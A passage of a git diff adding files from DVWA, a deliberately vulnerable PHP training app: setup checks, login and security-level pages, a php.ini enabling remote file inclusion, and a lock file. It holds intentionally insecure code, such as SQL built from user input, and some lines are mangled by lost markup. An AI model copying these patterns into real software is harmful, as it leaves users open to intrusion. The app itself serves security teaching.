+$phpDisplayErrors = 'PHP function display_errors: Enabled' : 'failure">Disabled' ) . ''; // Verbose error messages (e.g. full path disclosure) +$phpDisplayStartupErrors = 'PHP function display_startup_errors: Enabled' : 'failure">Disabled' ) . ''; // Verbose error messages (e.g. full path disclosure) +$phpDisplayErrors = 'PHP function display_errors: Enabled' : 'failure">Disabled' ) . ''; // Verbose error messages (e.g. full path disclosure) +$phpURLInclude = 'PHP function allow_url_include: Enabled' : 'failure">Disabled' ) . ''; // RFI +$phpURLFopen = 'PHP function allow_url_fopen: Enabled' : 'failure">Disabled' ) . ''; // RFI +$phpGD = 'PHP module gd: Installed' : 'failure">Missing - Only an issue if you want to play with captchas' ) . ''; // File Upload +$phpMySQL = 'PHP module mysql: Installed' : 'failure">Missing' ) . ''; // Core DVWA +$phpPDO = 'PHP module pdo_mysql: Installed' : 'failure">Missing' ) . ''; // SQLi +$DVWARecaptcha = 'reCAPTCHA key: ' . $_DVWA[ 'recaptcha_public_key' ] : 'failure">Missing' ) . ''; + +$DVWAUploadsWrite = 'Writable folder ' . $PHPUploadPath . ': Yes' : 'failure">No' ) . ''; // File Upload +$bakWritable = 'Writable folder ' . $PHPCONFIGPath . ': Yes' : 'failure">No' ) . ''; // config.php.bak check // File Upload + +$DVWAOS = 'Operating system: ' . ( strtoupper( substr (PHP_OS, 0, 3)) === 'WIN' ? 'Windows' : '*nix' ) . ''; +$SERVER_NAME = 'Web Server SERVER_NAME: ' . $_SERVER[ 'SERVER_NAME' ] . ''; // CSRF + +$MYSQL_USER = 'Database username: ' . $_DVWA[ 'db_user' ] . ''; +$MYSQL_PASS = 'Database password: ' . ( ($_DVWA[ 'db_password' ] != "" ) ? '******' : '*blank*' ) . ''; +$MYSQL_DB = 'Database database: ' . $_DVWA[ 'db_database' ] . ''; +$MYSQL_SERVER = 'Database host: ' . $_DVWA[ 'db_server' ] . ''; +$MYSQL_PORT = 'Database port: ' . $_DVWA[ 'db_port' ] . ''; +// -- END (Setup Functions) + +?> diff --git a/DVWA/dvwa/js/add_event_listeners.js b/DVWA/dvwa/js/add_event_listeners.js new file mode 100644 index 00000000..5d9a82fd --- /dev/null +++ b/DVWA/dvwa/js/add_event_listeners.js @@ -0,0 +1,24 @@ +// These functions need to be called after the content they reference +// has been added to the page otherwise they will fail. + +function addEventListeners() { + var source_button = document.getElementById ("source_button"); + + if (source_button) { + source_button.addEventListener("click", function() { + var url=source_button.dataset.sourceUrl; + popUp (url); + }); + } + + var help_button = document.getElementById ("help_button"); + + if (help_button) { + help_button.addEventListener("click", function() { + var url=help_button.dataset.helpUrl; + popUp (url); + }); + } +} + +addEventListeners(); diff --git a/DVWA/dvwa/js/dvwaPage.js b/DVWA/dvwa/js/dvwaPage.js new file mode 100644 index 00000000..92fc8639 --- /dev/null +++ b/DVWA/dvwa/js/dvwaPage.js @@ -0,0 +1,45 @@ +/* Help popup */ + +function popUp(URL) { + day = new Date(); + id = day.getTime(); + window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=800,height=300,left=540,top=250'); + //eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=800,height=300,left=540,top=250');"); +} + +/* Form validation */ + +function validate_required(field,alerttxt) +{ +with (field) { + if (value==null||value=="") { + alert(alerttxt);return false; + } + else { + return true; + } + } +} + +function validateGuestbookForm(thisform) { +with (thisform) { + + // Guestbook form + if (validate_required(txtName,"Name can not be empty.")==false) + {txtName.focus();return false;} + + if (validate_required(mtxMessage,"Message can not be empty.")==false) + {mtxMessage.focus();return false;} + + } +} + +function confirmClearGuestbook() { + return confirm("Are you sure you want to clear the guestbook?"); +} + +function toggleTheme() { + document.body.classList.toggle('dark'); + const theme = document.body.classList.contains('dark') ? 'dark' : 'light'; + document.cookie = "theme=" + theme + "; path=/"; +} diff --git a/DVWA/external/recaptcha/recaptchalib.php b/DVWA/external/recaptcha/recaptchalib.php new file mode 100644 index 00000000..eef48184 --- /dev/null +++ b/DVWA/external/recaptcha/recaptchalib.php @@ -0,0 +1,45 @@ + $key, + 'response' => urlencode($response), + 'remoteip' => urlencode($_SERVER['REMOTE_ADDR']) + ); + + $opt = array( + 'http' => array( + 'header' => "Content-type: application/x-www-form-urlencoded\r\n", + 'method' => 'POST', + 'content' => http_build_query($dat) + ) + ); + + $context = stream_context_create($opt); + $result = file_get_contents($url, false, $context); + + return json_decode($result)->success; + + } catch (Exception $e) { + return null; + } + +} + +function recaptcha_get_html($pubKey){ + return " + +
    + "; +} + +?> diff --git a/DVWA/favicon.ico b/DVWA/favicon.ico new file mode 100644 index 00000000..d8a08d70 Binary files /dev/null and b/DVWA/favicon.ico differ diff --git a/DVWA/hackable/flags/fi.php b/DVWA/hackable/flags/fi.php new file mode 100644 index 00000000..71e0ffee --- /dev/null +++ b/DVWA/hackable/flags/fi.php @@ -0,0 +1,24 @@ + + +1.) Bond. James Bond + +
    \n"; + +$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?"; +$line3 = "--LINE HIDDEN ;)--"; +echo $line3 . "\n\n

    \n"; + +$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu"; +echo base64_decode( $line4 ); + +?> + + diff --git a/DVWA/hackable/uploads/dvwa_email.png b/DVWA/hackable/uploads/dvwa_email.png new file mode 100644 index 00000000..22af62f2 Binary files /dev/null and b/DVWA/hackable/uploads/dvwa_email.png differ diff --git a/DVWA/hackable/users/1337.jpg b/DVWA/hackable/users/1337.jpg new file mode 100644 index 00000000..5183ae37 Binary files /dev/null and b/DVWA/hackable/users/1337.jpg differ diff --git a/DVWA/hackable/users/admin.jpg b/DVWA/hackable/users/admin.jpg new file mode 100644 index 00000000..fb7a9c73 Binary files /dev/null and b/DVWA/hackable/users/admin.jpg differ diff --git a/DVWA/hackable/users/gordonb.jpg b/DVWA/hackable/users/gordonb.jpg new file mode 100644 index 00000000..541dd8c7 Binary files /dev/null and b/DVWA/hackable/users/gordonb.jpg differ diff --git a/DVWA/hackable/users/pablo.jpg b/DVWA/hackable/users/pablo.jpg new file mode 100644 index 00000000..0a9549db Binary files /dev/null and b/DVWA/hackable/users/pablo.jpg differ diff --git a/DVWA/hackable/users/smithy.jpg b/DVWA/hackable/users/smithy.jpg new file mode 100644 index 00000000..1b824c76 Binary files /dev/null and b/DVWA/hackable/users/smithy.jpg differ diff --git a/DVWA/index.php b/DVWA/index.php new file mode 100644 index 00000000..9da6f6e7 --- /dev/null +++ b/DVWA/index.php @@ -0,0 +1,47 @@ + +

    Welcome to Damn Vulnerable Web Application!

    +

    Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

    +

    The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficultly, with a simple straightforward interface.

    +
    +
    + +

    General Instructions

    +

    It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.

    +

    Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

    +

    There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

    +
    +
    + +

    WARNING!

    +

    Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual machine (such as " . dvwaExternalLinkUrlGet( 'https://www.virtualbox.org/','VirtualBox' ) . " or " . dvwaExternalLinkUrlGet( 'https://www.vmware.com/','VMware' ) . "), which is set to NAT networking mode. Inside a guest machine, you can download and install " . dvwaExternalLinkUrlGet( 'https://www.apachefriends.org/','XAMPP' ) . " for the web server and database.

    +
    +

    Disclaimer

    +

    We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

    +
    +
    + +

    More Training Resources

    +

    DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want more difficult challenges, you may wish to look into the following other projects:

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://github.com/webpwnized/mutillidae', 'Mutillidae') . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-vulnerable-web-applications-directory', 'OWASP Vulnerable Web Applications Directory') . "
    • +
    +
    +
    +"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/instructions.php b/DVWA/instructions.php new file mode 100644 index 00000000..18e8d4dc --- /dev/null +++ b/DVWA/instructions.php @@ -0,0 +1,67 @@ + array( 'type' => 'markdown', 'legend' => 'Read Me', 'file' => 'README.md' ), + 'PDF' => array( 'type' => 'html' ,'legend' => 'PDF Guide', 'file' => 'docs/pdf.html' ), + 'changelog' => array( 'type' => 'markdown', 'legend' => 'Change Log', 'file' => 'CHANGELOG.md' ), + 'copying' => array( 'type' => 'markdown', 'legend' => 'Copying', 'file' => 'COPYING.txt' ), +); + +$selectedDocId = isset( $_GET[ 'doc' ] ) ? $_GET[ 'doc' ] : ''; +if( !array_key_exists( $selectedDocId, $docs ) ) { + $selectedDocId = 'readme'; +} +$readFile = $docs[ $selectedDocId ][ 'file' ]; + +$instructions = file_get_contents( DVWA_WEB_PAGE_TO_ROOT.$readFile ); + +if ($docs[ $selectedDocId ]['type'] == "markdown") { + $parsedown = new ParseDown(); + $instructions = $parsedown->text($instructions); +} + +/* +function urlReplace( $matches ) { + return dvwaExternalLinkUrlGet( $matches[1] ); +} + +// Make links and obfuscate the referer... +$instructions = preg_replace_callback( + '/((http|https|ftp):\/\/([[:alnum:]|.|\/|?|=]+))/', + 'urlReplace', + $instructions +); + +$instructions = nl2br( $instructions ); +*/ +$docMenuHtml = ''; +foreach( array_keys( $docs ) as $docId ) { + $selectedClass = ( $docId == $selectedDocId ) ? ' selected' : ''; + $docMenuHtml .= "{$docs[$docId]['legend']}"; +} +$docMenuHtml = "
    {$docMenuHtml}
    "; + +$page[ 'body' ] .= " +
    +

    Instructions

    + + {$docMenuHtml} + + + {$instructions} + +
    "; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/login.php b/DVWA/login.php new file mode 100644 index 00000000..c8c7268f --- /dev/null +++ b/DVWA/login.php @@ -0,0 +1,137 @@ +Need to run 'setup.php'." ); + dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'setup.php' ); + } + + $query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';"; + $result = @mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '.
    Try installing again.
    ' ); + if( $result && mysqli_num_rows( $result ) == 1 ) { // Login Successful... + dvwaMessagePush( "You have logged in as '{$user}'" ); + dvwaLogin( $user ); + dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'index.php' ); + } + + // Login failed + dvwaMessagePush( 'Login failed' ); + dvwaRedirect( 'login.php' ); +} + +$messagesHtml = messagesPopAllToHtml(); + +Header( 'Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 +Header( 'Content-Type: text/html;charset=utf-8' ); // TODO- proper XHTML headers... +Header( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' ); // Date in the past + +// Anti-CSRF +generateSessionToken(); + +echo " + + + + + + + + Login :: Damn Vulnerable Web Application (DVWA) + + + + + + + +
    + +
    + +
    + +

    + +
    + +
    + +
    + +
    + +
    + +
    + + +
    + +
    + +

    + +
    + + " . tokenField() . " + +
    + +
    + + {$messagesHtml} + +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    + +

    " . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/', 'Damn Vulnerable Web Application (DVWA)' ) . "

    + +
    + +
    + + + +"; + +?> diff --git a/DVWA/logout.php b/DVWA/logout.php new file mode 100644 index 00000000..07b65eb4 --- /dev/null +++ b/DVWA/logout.php @@ -0,0 +1,17 @@ + diff --git a/DVWA/php.ini b/DVWA/php.ini new file mode 100644 index 00000000..f4707128 --- /dev/null +++ b/DVWA/php.ini @@ -0,0 +1,5 @@ +; This file attempts to overwrite the original php.ini file. Doesnt always work. + +magic_quotes_gpc = Off +allow_url_fopen = on +allow_url_include = on diff --git a/DVWA/phpinfo.php b/DVWA/phpinfo.php new file mode 100644 index 00000000..1c34a21d --- /dev/null +++ b/DVWA/phpinfo.php @@ -0,0 +1,10 @@ + diff --git a/DVWA/robots.txt b/DVWA/robots.txt new file mode 100644 index 00000000..77470cb3 --- /dev/null +++ b/DVWA/robots.txt @@ -0,0 +1,2 @@ +User-agent: * +Disallow: / \ No newline at end of file diff --git a/DVWA/security.php b/DVWA/security.php new file mode 100644 index 00000000..2652d932 --- /dev/null +++ b/DVWA/security.php @@ -0,0 +1,82 @@ +Security level is currently: $securityLevel.

    "; + } + $securityOptionsHtml .= ""; +} + +// Anti-CSRF +generateSessionToken(); + +$page[ 'body' ] .= " +

    +

    DVWA Security

    +
    + +

    Security Level

    + + {$securityHtml} + +
    + {$securityLevelHtml} +

    You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

    +
      +
    1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
    2. +
    3. Medium - This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
    4. +
    5. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
    6. +
    7. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
      + Prior to DVWA v1.9, this level was known as 'high'.
    8. +
    + + + " . tokenField() . " +
    +
    "; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/security.txt b/DVWA/security.txt new file mode 100644 index 00000000..671e87d5 --- /dev/null +++ b/DVWA/security.txt @@ -0,0 +1 @@ +The clue is in its name, DVWA contains both intentional and unintentional vulnerabliities, that is it's whole point, please do not try to report them. diff --git a/DVWA/setup.php b/DVWA/setup.php new file mode 100644 index 00000000..79a011de --- /dev/null +++ b/DVWA/setup.php @@ -0,0 +1,156 @@ +Unknown

    "; +$mod_rewrite = "Unknown
    "; + +if (PHP_OS == "Linux") { + if (is_dir (".git")) { + $git_log = shell_exec ("git -c 'safe.directory=*' log -1"); + if (!is_null ($git_log)) { + $tmp = explode ("\n", $git_log); + $date = str_replace ("Date: ", "Date: ", $tmp[2]); + $git_ref = "
    • " . str_replace ("commit ", "Git reference: ", $tmp[0]) . "
    • " . $date . "
    "; + } + } + + $out = shell_exec ("apachectl -M | grep rewrite_module"); + if ($out == "") { + $mod_rewrite = "Not Enabled
    "; + } else { + $mod_rewrite = "Enabled
    "; + } +} + +if (!is_dir ("./vulnerabilities/api/vendor")) { + $vendor = "Not Installed

    "; + $vendor .= "For information on how to install these, see the README.
    "; +} else { + $vendor = "Installed
    "; +} + +$phpVersionWarning = ""; + +if (version_compare(phpversion(), '6', '<')) { + $phpVersionWarning = "Versions of PHP below 7.x are not supported, please upgrade.

    "; +} elseif (version_compare(phpversion(), '7.3', '<')) { + $phpVersionWarning = "Versions of PHP below 7.3 may work but have known problems, please upgrade.

    "; +} + +$page[ 'body' ] .= " +
    +

    Database Setup

    + +

    Click on the 'Create / Reset Database' button below to create or reset your database.
    + If you get an error make sure you have the correct user credentials in: " . realpath( getcwd() . DIRECTORY_SEPARATOR . "config" . DIRECTORY_SEPARATOR . "config.inc.php" ) . "

    + +

    If the database already exists, it will be cleared and the data will be reset.
    + You can also use this to reset the administrator credentials (\"admin // password\") at any stage.

    +
    +
    + +

    Setup Check

    + + General
    + {$DVWAOS}
    +
    + DVWA version: {$git_ref} +
    + {$DVWARecaptcha}
    +
    + {$DVWAUploadsWrite}
    + {$bakWritable} +
    +
    + + Apache
    + {$SERVER_NAME}

    + mod_rewrite: {$mod_rewrite} + mod_rewrite is required for the AP labs.

    + + PHP
    + PHP version: " . phpversion() . "
    + {$phpVersionWarning} + {$phpDisplayErrors}
    + {$phpDisplayStartupErrors}
    + {$phpURLInclude}
    + {$phpURLFopen}
    + {$phpGD}
    + {$phpMySQL}
    + {$phpPDO}
    +
    + Database
    + Backend database: {$database_type_name}
    + {$MYSQL_USER}
    + {$MYSQL_PASS}
    + {$MYSQL_DB}
    + {$MYSQL_SERVER}
    + {$MYSQL_PORT}
    +
    + API
    + This section is only important if you want to use the API module.
    + Vendor files installed: {$vendor}
    + + Status in red, indicate there will be an issue when trying to complete some modules.
    +
    + If you see disabled on either allow_url_fopen or allow_url_include, set the following in your php.ini file and restart Apache.
    +
    allow_url_fopen = On
    +allow_url_include = On
    + These are only required for the file inclusion labs so unless you want to play with those, you can ignore them. + +


    + + +
    + + " . tokenField() . " +
    +
    +
    +
    "; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/tests/README.md b/DVWA/tests/README.md new file mode 100644 index 00000000..31f34892 --- /dev/null +++ b/DVWA/tests/README.md @@ -0,0 +1,14 @@ +# Tests + +## Usage + +To run these scripts manually, run the following from the document root: + +``` +python3 -m pytest -s +``` + +## test_url.py + +This test will find all fully qualified URLs mentioned in any PHP script and will check if the URL is still alive. This helps weed out dead links from documentation and references. + diff --git a/DVWA/tests/test_url.py b/DVWA/tests/test_url.py new file mode 100644 index 00000000..af27d21b --- /dev/null +++ b/DVWA/tests/test_url.py @@ -0,0 +1,90 @@ +import glob +import re +import requests +import time + + +def get_php_files(): + patterns = ["*.php", "*/*.php", "*/*/*.php"] + files = [] + ignore_files = ["dvwa/includes/Parsedown.php"] + for pattern in patterns: + files.extend(glob.glob(pattern)) + for ignore_file in ignore_files: + if ignore_file in files: + files.remove(ignore_file) + return files + + +def get_urls(filename): + with open(filename, 'r') as f: + content = f.read() + matches = re.findall("[\'\"](https?://.*?)[\'\"]", content) + return matches + + +def check_once(url): + try: + headers = { + 'User-Agent': + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36' + } + response = requests.get(url, headers=headers) + except requests.exceptions.ConnectionError: + return False, -1 + return response.ok, response.status_code + + +def check(url): + # We try for 5 times, with 3 seconds interval. + try_count = 5 + try_interval = 3 + for i in range(try_count): + ok, status_code = check_once(url) + if ok: + break + time.sleep(try_interval) + return ok, status_code + + +def test_url(): + # Need to rewrite this so it generates a single, unique list of URLs, + # removes any which are to be ignored, and then checks them. Would be + # much cleaner. + + ignore_urls = [ + "https://wpscan.com/", # Cloudflare doesn't like GitHub checking it + "http://www.w3.org/TR/html4/loose.dtd", # Don't need to check the DTD + "https://www.vmware.com/", # Throwing a 403 for some reason, but can't see it going anywhere + "https://twitter.com/digininja", # Twitter doesn't like GitHub checking it + "https://www.cgisecurity.com/xss-faq.html", # Throwing a 403 for some reason, but can't see it going anywhere + "https://www.cgisecurity.com/csrf-faq.html", # Throwing a 403 for some reason, but can't see it going anywhere + ] + all_urls = [] + broken_urls = [] + for php_file in get_php_files(): + for url in get_urls(php_file): + all_urls.append(url) + + # This removes any duplicates + dedup_urls = list(dict.fromkeys(all_urls)) + + for url in dedup_urls: + if not url in ignore_urls: + # print("checking %s" % url) + ok, status_code = check(url) + if not ok: + # The php_file variable is now broken as it was set in a previous loop + # and doesn't come across into this one. + + #print("failed to access %s from file %s with code %d" % (url, php_file, status_code)) + # broken_urls.append((php_file, url, status_code)) + broken_urls.append((url, status_code)) + + #for php_file, url, status_code in broken_urls: + # print("%s\t%s\t%d" % (php_file, url, status_code)) + + for url, status_code in broken_urls: + print("%s\t%d" % (url, status_code)) + + assert len(broken_urls) == 0, "Broken URLs Detected." diff --git a/DVWA/vulnerabilities/api/.gitignore b/DVWA/vulnerabilities/api/.gitignore new file mode 100644 index 00000000..48b8bf90 --- /dev/null +++ b/DVWA/vulnerabilities/api/.gitignore @@ -0,0 +1 @@ +vendor/ diff --git a/DVWA/vulnerabilities/api/.htaccess b/DVWA/vulnerabilities/api/.htaccess new file mode 100644 index 00000000..f0350352 --- /dev/null +++ b/DVWA/vulnerabilities/api/.htaccess @@ -0,0 +1,10 @@ + + RewriteEngine On + # If an existing asset or directory is requested go to it as it is + RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f [OR] + RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -d + RewriteRule ^ - [L] + + # Route all other calls through the API + RewriteRule ^ public/index.php + diff --git a/DVWA/vulnerabilities/api/README.md b/DVWA/vulnerabilities/api/README.md new file mode 100644 index 00000000..025c698e --- /dev/null +++ b/DVWA/vulnerabilities/api/README.md @@ -0,0 +1,27 @@ +# API Info + +## Generating OpenAPI Docs + +If you want to be able to modify the code and generate your own OpenAPI document you will need to set a few things up. + +First, make sure you have Composer installed. There seem to be backward compatibility issues so I always get the latest version from here: + + + +Follow the instructions the site gives to get it installed. + +Now go into `/vulnerabilities/api` directory and run: + +``` +composer.phar install +``` + +If you did not install Composer to the system path, make sure you reference its full location. + +With this installed, you should now be able to browse to `/vulnerabilities/api/gen_openapi.php` and download a dynamically generated OpenAPI file + +## Mark Up + +The OpenAPI document is generated using [swagger-php](https://github.com/zircote/swagger-php). + +The file is marked up using the newer PHP attributes method, for more information on that, see their [documentation](https://zircote.github.io/swagger-php/guide/attributes.html). diff --git a/DVWA/vulnerabilities/api/bootstrap.php b/DVWA/vulnerabilities/api/bootstrap.php new file mode 100644 index 00000000..a999c2c2 --- /dev/null +++ b/DVWA/vulnerabilities/api/bootstrap.php @@ -0,0 +1,2 @@ +=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/3.0.2" + }, + "time": "2024-09-11T13:17:53+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v3.5.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6", + "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.5-dev" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-25T14:20:29+00:00" + }, + { + "name": "symfony/finder", + "version": "v7.2.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "87a71856f2f56e4100373e92529eed3171695cfb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/87a71856f2f56e4100373e92529eed3171695cfb", + "reference": "87a71856f2f56e4100373e92529eed3171695cfb", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "symfony/filesystem": "^6.4|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v7.2.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-12-30T19:00:17+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.31.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/a3cc8b044a6ea513310cbd48ef7333b384945638", + "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.31.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-09-09T11:45:10+00:00" + }, + { + "name": "symfony/yaml", + "version": "v7.2.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/yaml.git", + "reference": "ac238f173df0c9c1120f862d0f599e17535a87ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/yaml/zipball/ac238f173df0c9c1120f862d0f599e17535a87ec", + "reference": "ac238f173df0c9c1120f862d0f599e17535a87ec", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3.0", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "symfony/console": "<6.4" + }, + "require-dev": { + "symfony/console": "^6.4|^7.0" + }, + "bin": [ + "Resources/bin/yaml-lint" + ], + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Yaml\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Loads and dumps YAML files", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/yaml/tree/v7.2.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2025-01-07T12:55:42+00:00" + }, + { + "name": "zircote/swagger-php", + "version": "4.11.1", + "source": { + "type": "git", + "url": "https://github.com/zircote/swagger-php.git", + "reference": "7df10e8ec47db07c031db317a25bef962b4e5de1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/zircote/swagger-php/zipball/7df10e8ec47db07c031db317a25bef962b4e5de1", + "reference": "7df10e8ec47db07c031db317a25bef962b4e5de1", + "shasum": "" + }, + "require": { + "ext-json": "*", + "php": ">=7.2", + "psr/log": "^1.1 || ^2.0 || ^3.0", + "symfony/deprecation-contracts": "^2 || ^3", + "symfony/finder": ">=2.2", + "symfony/yaml": ">=3.3" + }, + "require-dev": { + "composer/package-versions-deprecated": "^1.11", + "doctrine/annotations": "^1.7 || ^2.0", + "friendsofphp/php-cs-fixer": "^2.17 || 3.62.0", + "phpstan/phpstan": "^1.6", + "phpunit/phpunit": ">=8", + "vimeo/psalm": "^4.23" + }, + "suggest": { + "doctrine/annotations": "^1.7 || ^2.0" + }, + "bin": [ + "bin/openapi" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.x-dev" + } + }, + "autoload": { + "psr-4": { + 